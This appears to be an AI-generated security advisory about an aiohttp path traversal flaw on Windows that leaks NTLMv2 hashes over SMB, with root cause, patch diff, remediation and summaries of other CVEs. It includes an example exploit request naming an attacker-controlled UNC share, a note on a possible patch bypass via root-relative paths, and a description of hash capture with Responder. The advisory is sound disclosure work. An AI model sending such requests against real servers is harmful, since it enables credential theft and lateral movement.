CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-34515

CVE-2026-34515: NTLMv2 Credential Leak via Absolute Path Traversal in aiohttp

Alon Barad
Alon Barad
Software Engineer

Apr 1, 2026·6 min read·73 visits

Executive Summary (TL;DR)

A path traversal vulnerability in aiohttp's Windows static resource handler allows attackers to inject UNC paths. This triggers outbound SMB connections, exposing NTLMv2 credentials and permitting local file disclosure.

The aiohttp asynchronous Python framework, prior to version 3.13.4, handles static resource file resolution unsafely on Windows systems. This flaw allows unauthenticated remote attackers to inject Universal Naming Convention (UNC) paths, bypassing directory restrictions. Exploitation coerces the Windows server to initiate an outbound Server Message Block (SMB) connection, exposing the NTLMv2 service account hash to the attacker.

Vulnerability Overview

The aiohttp library provides an asynchronous HTTP client and server framework for Python's asyncio module. Web applications built on aiohttp frequently utilize its static resource handler to serve files, such as images or stylesheets, from a designated local directory. This handler exposes an attack surface where user-provided URI paths are mapped to the underlying server filesystem.

CVE-2026-34515 is an Absolute Path Traversal (CWE-36) vulnerability affecting the static resource handler exclusively on Windows operating systems. The application accepts a user-controlled filename and joins it to a base directory path. It fails to adequately validate the input for absolute paths or Universal Naming Convention (UNC) prefixes prior to resolution.

An unauthenticated remote attacker can exploit this weakness by submitting a crafted HTTP request containing a UNC path. The application processes the request and interacts with the specified path. This interaction prompts the Windows operating system to initiate an outbound Server Message Block (SMB) authentication handshake with the attacker-controlled destination, resulting in the disclosure of the server's NTLMv2 account hash.

Root Cause Analysis

The vulnerability originates from the interaction between aiohttp's routing logic and the behavior of Python's pathlib module on Windows. In aiohttp/web_urldispatcher.py, the static resource handler extracts the filename parameter from the HTTP request route. It then constructs the absolute filesystem path by executing self._directory.joinpath(filename).

On Windows environments, pathlib.Path.joinpath() exhibits specific behavior regarding absolute paths. If the provided argument begins with a drive letter (e.g., C:\) or a UNC prefix (e.g., \\attacker-server\share), pathlib treats the argument as an absolute path. It discards the preceding self._directory base path entirely and returns the attacker-supplied absolute path as the resolved target.

Following path resolution, the application calls run_in_executor to perform asynchronous filesystem operations, such as stat or open, on the resolved path. When the Windows kernel receives a file operation targeting a UNC path, it automatically attempts to connect to the specified remote SMB share. This process involves the transparent transmission of the executing user's NTLMv2 credential hash as part of the authentication sequence.

Code Analysis

The flaw resides in the _handle method of the StaticResource class within aiohttp/web_urldispatcher.py. The vulnerable implementation retrieves the filename from the request match information and immediately appends it to the base directory path without prior structural validation.

The patch in commit 0ae2aa076c84573df83fc1fdc39eec0f5862fe3d introduces a direct check using Path(filename).is_absolute(). If the method returns true, the application raises an HTTPNotFound exception, safely terminating the request processing before any filesystem interaction occurs.

--- a/aiohttp/web_urldispatcher.py
+++ b/aiohttp/web_urldispatcher.py
@@ -676,6 +676,10 @@ def __iter__(self) -> Iterator[AbstractRoute]:
 
     async def _handle(self, request: Request) -> StreamResponse:
         filename = request.match_info["filename"]
+        if Path(filename).is_absolute():
+            # filename is an absolute path e.g. //network/share or D:\path
+            # which could be a UNC path leading to NTLM credential theft
+            raise HTTPNotFound()
         unresolved_path = self._directory.joinpath(filename)
         loop = asyncio.get_running_loop()
         return await loop.run_in_executor(

> [!NOTE] > While the patch mitigates standard absolute and UNC path injections, researchers should verify the handling of root-relative paths. On Windows, paths like \windows\system32\drivers\etc\hosts return False for is_absolute() because they lack a drive letter. Depending on the server's working directory, these paths may still escape the intended base directory on the same local drive.

Exploitation

Exploiting this vulnerability requires the target aiohttp server to run on a Windows host and expose a static resource endpoint. The attacker also requires a network position that allows the target server to route outbound SMB traffic (TCP port 445) to an IP address controlled by the attacker.

The attack begins with the deployment of a malicious SMB listener. The attacker utilizes tools such as Responder or a custom SMB server script bound to a routable IP address. This listener is configured to accept incoming authentication requests and capture the resulting NTLMv2 challenge-response hashes.

The attacker then crafts an HTTP GET request targeting the vulnerable static resource endpoint. The payload consists of a UNC path formatted with either forward slashes or backslashes, pointing to the attacker's listener. An example request appears as GET /static/\\attacker-ip\share\fakefile.txt HTTP/1.1.

Upon receiving the request, the aiohttp server processes the route and executes the vulnerable joinpath operation. The application attempts to read the file attributes, forcing the Windows host to negotiate SMB authentication with attacker-ip. The listener captures the NTLMv2 hash, completing the exploitation sequence.

Impact Assessment

The primary impact of this vulnerability is the disclosure of the NTLMv2 hash belonging to the Windows account executing the aiohttp process. If the application runs under a privileged service account or an active administrator account, the severity of the compromise increases proportionally.

Attackers utilize captured NTLMv2 hashes in two distinct ways. They perform offline dictionary or brute-force attacks using specialized cracking hardware to recover the plaintext password. Alternatively, if the target environment lacks SMB signing, attackers relay the intercepted authentication sequence to other internal systems to achieve lateral movement or remote code execution.

Secondary impacts involve unauthorized local file disclosure. Attackers supply absolute drive paths (e.g., C:\inetpub\logs\log.txt) instead of UNC paths. This allows the reading of arbitrary files present on the local filesystem, provided the executing service account possesses the necessary read permissions.

The CVSS v4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U produces a base score of 6.6. This metric reflects the high confidentiality impact derived from credential theft and file disclosure, balanced by the lack of direct integrity or availability impacts on the affected system.

Remediation

The official remediation is to upgrade the aiohttp package to version 3.13.4 or later. This release incorporates the is_absolute() validation check, which effectively neutralizes the UNC injection and absolute path traversal vectors at the application layer.

Organizations unable to deploy the patch immediately must implement compensating controls at the network layer. Egress filtering on firewalls or security groups should block outbound traffic on TCP port 445 originating from application servers. Servers serving web traffic rarely require outbound SMB access to untrusted Internet destinations.

Additionally, reverse proxies or Web Application Firewalls (WAFs) positioned in front of the aiohttp server must be configured to inspect request URIs. Administrators should implement rules to reject requests containing consecutive forward slashes (//) or backslashes (\\), as these sequences are necessary to construct UNC paths in HTTP requests.

Official Patches

aio-libsFix Commit in aio-libs/aiohttp
aio-libsaiohttp Release v3.13.4

Fix Analysis (1)

Technical Appendix

CVSS Score
6.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

Affected Systems

aiohttp deployments on Windows environments utilizing the static resource handler

Affected Versions Detail

Product
Affected Versions
Fixed Version
aiohttp
aio-libs
< 3.13.43.13.4
AttributeDetail
CWE IDCWE-36, CWE-918
Attack VectorNetwork
CVSS v4.0 Base Score6.6
ImpactHigh Confidentiality (Credential Theft)
Exploit StatusProof-of-Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-36
Absolute Path Traversal

The application uses a filename that should be relative to a restricted directory, but it fails to prevent absolute paths.

Vulnerability Timeline

Fix commit merged into the 3.13 branch
2026-02-22
Vulnerability publicly disclosed and CVE assigned
2026-04-01

References & Sources

  • [1]GitHub Security Advisory (GHSA-p998-jp59-783m)
  • [2]Official CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-54347
8.7

CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 2 hours ago•CVE-2026-54348
7.2

CVE-2026-54348: Second-Order SQL Injection in Froxlor API Layer

An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 3 hours ago•CVE-2026-54543
5.4

CVE-2026-54543: DNS Resource Record (RR) Injection in Froxlor DomainZones API

CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 3 hours ago•CVE-2026-42533
9.2

CVE-2026-42533: NGINX Map Directive and Regex Matching Pre-Auth Heap Buffer Overflow & Info Leak

CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.

Alon Barad
Alon Barad
7 views•7 min read
•about 4 hours ago•CVE-2026-55593
6.5

CVE-2026-55593: Persistent Administrative Hijacking via Cross-Site Request Forgery in Froxlor Ajax Router

Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 5 hours ago•CVE-2026-62988
9.0

CVE-2026-62988: Multi-Factor Authentication and Credential Bypass in Froxlor API

An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.

Amit Schendel
Amit Schendel
7 views•6 min read